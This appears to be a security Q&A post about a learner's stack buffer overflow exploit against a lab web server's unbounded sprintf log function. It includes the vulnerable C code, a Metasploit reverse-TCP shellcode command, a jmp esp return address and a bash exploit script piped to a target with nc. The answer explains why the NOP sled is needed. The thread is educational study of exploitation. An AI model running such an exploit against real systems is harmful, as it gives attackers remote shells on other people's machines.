Bufferoverflow - jmp esp. Do I need nops sled? Does call esp also work?

Question

I'm learning about stack buffer overflow and I'd appreciate help.

I'm exploiting simple web server containing this log function. Argument s1 is the input that I supply via HTTP. Server is running on x86 linux with stack address randomization.

void log(int type, char *s1, int num)
{
    int fd ;
    char logbuffer[1024];
    sprintf(logbuffer," INFO: %s:%d",s1,num);
}

With metasploit pattern_create.rb and pattern_offset.rb I get offset of EIP that is 1037.

I generate shellcode with msfconsole; use linux/x86/shell_reverse_tcp; generate -e x86/alpha_mixed -t bash

I find several addresses in standard library containing jump %esp instruction. I am using 0x42122BA7.

My complete exploit script:

pre=`perl -e "print 'A' x 1037;"`
nops=`perl -e "print '\x90' x 9;"`
shellcode=... [from msfconsole]

address="\xA7\x2B\x12\x42"

egg="${pre}${address}${nops}${shellcode}"

echo -e $egg | nc 192.168.230.132 8888
echo $?

The exploit is working only when I include 9 and more nops between the overwritten EIP and start of the shellcode, otherwise it seg faults. My question is why? Why is the nops sled necessary in this case? My hypothesis is that the shellcode is decoding itself and overwriting some memory before it; when I include nops, the memory is writable, when I don't, the memory is not-writable (because it is before ESP?) and therefore it seg faults.

My second question is whether this exploit would work with "call %esp" instead of "jmp %esp". According to what I found on the internet it would work, but I don't understand why. Imagine the same exploit as wrtitten above but overwriting the EIP with address containing "call %esp". This is my understanding what would follow:

1. log function returns. EIP is popped of the stack and processor jmp on it. ESP points under (bigger address) just-popped EIP (NOPs are there).
2. processor finds "call %esp" instruction. EIP is pushed to stack. ESP now points at the just-pushed EIP.
3. jmp %esp is executed. Jumping on the top of the stack where is the EIP that was just pushed.
4. What now? Next instruction isn't a NOP but some random first byte of the EIP.

Answer 1

I figured out an answer to the second question. According to this (https:// www.offensive-security.com /metasploit-unleashed/alphanumeric-shellcode/), the shellcode generated by Metasploit needs to get its absolute memory address to work. First five instructions of the shellcode serve this purpose. These are:

Important part are the fcmovnu and fnstenv instructions. At the end of this blog post it is explained how these instructions serve to obtaining current EIP.

Fnstenv instruction is saving floating-point-unit environment to supplied address. It writes 28 bytes, and the instruction pointer is located on 12 byte offset. I think that fcmovnu is just a random floating-point instruction used to initialize the FPU's environment.

http:// www.website.masmforum.com /tutorials/fptute/fpuchap3.htm#fstenv (link edited because I don't have enough rep to post more then two links)

So why are 9 NOPSs needed? Fnstenv is writing 28 bytes on address ESP - 12 ("fnstenv [edi-0xc]" and esp is moved to edi instruction before).

If the shellcode is just under ESP, without NOPs, part of the shellcode is overwritten (mainly the next instruction "pop eax").

If there are 9 NOPs, this is what happens:

1. Fnstenv overwrites 12 bytes before the ESP (we don't care about these).
2. Then it overwrites 9 NOPs after the ESP.
3. 28 - (9 + 12) = 7. 7 more bytes to write.
4. These 7 bytes are overwriting the start of the shellcode - but only the instructions that are already executed: mov, fcmovnu and fnstenv - these are together 7 bytes. The next instruction "pop eax" is not overwritten and the shellcode works.

Looking at a core dump confirms this explanation.